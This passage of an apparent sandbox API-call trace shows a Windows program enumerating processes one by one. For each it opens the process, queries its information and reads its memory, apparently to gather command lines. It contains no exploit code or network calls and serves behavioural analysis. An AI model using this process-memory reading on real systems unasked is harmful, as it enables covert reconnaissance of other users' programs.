CloseHandle (hObject=0x16c) returned 1 [0279.304] _ui64tow_s (in: _Value=0x1064, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4196") returned 0x0 [0279.308] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4196") returned 4 [0279.310] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0279.310] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0279.354] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1064) returned 0x16c [0279.355] GetLastError () returned 0x0 [0279.356] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0279.356] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x264018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0279.356] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0279.356] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x511ca0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0279.357] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5118f8, lpBuffer=0x2dc22fc240, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0279.358] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0279.360] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0279.360] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x264020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0279.360] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5112e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0279.360] malloc (_Size=0x58) returned 0x20abc2a7480 [0279.360] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x511948, lpBuffer=0x20abc2a7480, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a7480*, lpNumberOfBytesRead=0x0) returned 1 [0279.361] free (_Block=0x20abc2a7480) [0279.362] CloseHandle (hObject=0x16c) returned 1 [0279.363] _ui64tow_s (in: _Value=0x1070, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4208") returned 0x0 [0279.368] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4208") returned 4 [0279.369] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0279.369] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0279.398] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1070) returned 0x16c [0279.398] GetLastError () returned 0x0 [0279.399] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0279.399] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x48d018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0279.399] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0279.399] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2a1cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0279.399] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2a18f8, lpBuffer=0x2dc22fc240, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0279.401] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0279.403] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0279.403] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x48d020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0279.403] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2a12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0279.403] malloc (_Size=0x6a) returned 0x20abc2831b0 [0279.403] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2a195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0279.404] free (_Block=0x20abc2831b0) [0279.405] CloseHandle (hObject=0x16c) returned 1 [0279.405] _ui64tow_s (in: _Value=0x1080, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4224") returned 0x0 [0279.410] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4224") returned 4 [0279.584] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0279.584] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0279.624] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1080) returned 0x16c [0279.624] GetLastError () returned 0x0 [0279.625] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0279.625] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2b9018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0279.626] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0279.626] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d1d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0279.626] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d18f8, lpBuffer=0x2dc22fc240, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0279.628] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0279.631] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0279.631] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2b9020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0279.631] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0279.631] malloc (_Size=0x76) returned 0x20abc282120 [0279.631] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d1966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0279.632] free (_Block=0x20abc282120) [0279.633] CloseHandle (hObject=0x16c) returned 1 [0279.739] _ui64tow_s (in: _Value=0x1088, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4232") returned 0x0 [0279.743] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4232") returned 4 [0279.745] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0279.745] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0279.763] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1088) returned 0x16c [0279.763] GetLastError () returned 0x0 [0279.764] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0279.764] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x258018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0279.764] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0279.765] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x451cb0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0279.765] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4518f8, lpBuffer=0x2dc22fc240, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0279.766] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0279.768] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0279.768] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x258020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0279.768] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4512e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0279.769] malloc (_Size=0x5e) returned 0x20abc280290 [0279.769] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x45194e, lpBuffer=0x20abc280290, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280290*, lpNumberOfBytesRead=0x0) returned 1 [0279.769] free (_Block=0x20abc280290) [0279.915] CloseHandle (hObject=0x16c) returned 1 [0279.916] _ui64tow_s (in: _Value=0x1094, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4244") returned 0x0 [0279.923] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4244") returned 4 [0279.925] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0279.925] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0279.942] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1094) returned 0x16c [0279.943] GetLastError () returned 0x0 [0279.944] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0279.944] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x58b018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0279.944] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0279.945] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1e1cc0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0279.945] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1e18f8, lpBuffer=0x2dc22fc240, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0279.947] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0279.949] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0279.949] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x58b020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0279.949] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1e12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0279.949] malloc (_Size=0x64) returned 0x20abc280840 [0279.949] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1e1954, lpBuffer=0x20abc280840, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0279.950] free (_Block=0x20abc280840) [0279.951] CloseHandle (hObject=0x16c) returned 1 [0279.952] _ui64tow_s (in: _Value=0x10a4, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4260") returned 0x0 [0280.105] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4260") returned 4 [0280.106] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0280.106] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0280.119] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10a4) returned 0x16c [0280.119] GetLastError () returned 0x0 [0280.120] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0280.120] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x393018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0280.120] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0280.121] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x561d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0280.121] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5618f8, lpBuffer=0x2dc22fc240, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0280.122] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0280.123] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0280.123] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x393020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0280.123] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5612e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0280.124] malloc (_Size=0x76) returned 0x20abc282120 [0280.124] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x561966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0280.124] free (_Block=0x20abc282120) [0280.125] CloseHandle (hObject=0x16c) returned 1 [0280.125] _ui64tow_s (in: _Value=0x10ac, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4268") returned 0x0 [0280.129] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4268") returned 4 [0280.130] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0280.130] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0280.143] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10ac) returned 0x16c [0280.143] GetLastError () returned 0x0 [0280.144] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0280.144] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2cd018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0280.144] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0280.144] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x481c70, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0280.144] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4818f8, lpBuffer=0x2dc22fc240, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0280.315] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0280.316] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0280.316] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2cd020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0280.317] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4812e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0280.317] malloc (_Size=0x46) returned 0x20abc27cb20 [0280.317] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x481936, lpBuffer=0x20abc27cb20, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cb20*, lpNumberOfBytesRead=0x0) returned 1 [0280.317] free (_Block=0x20abc27cb20) [0280.318] CloseHandle (hObject=0x16c) returned 1 [0280.318] _ui64tow_s (in: _Value=0x10b8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4280") returned 0x0 [0280.322] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4280") returned 4 [0280.323] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0280.323] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0280.336] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10b8) returned 0x16c [0280.336] GetLastError () returned 0x0 [0280.337] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0280.337] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x348018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0280.338] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0280.338] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x421ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0280.338] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4218f8, lpBuffer=0x2dc22fc240, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0280.339] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0280.340] NtQueryInformationProcess (in: ProcessHandle=0x16c, 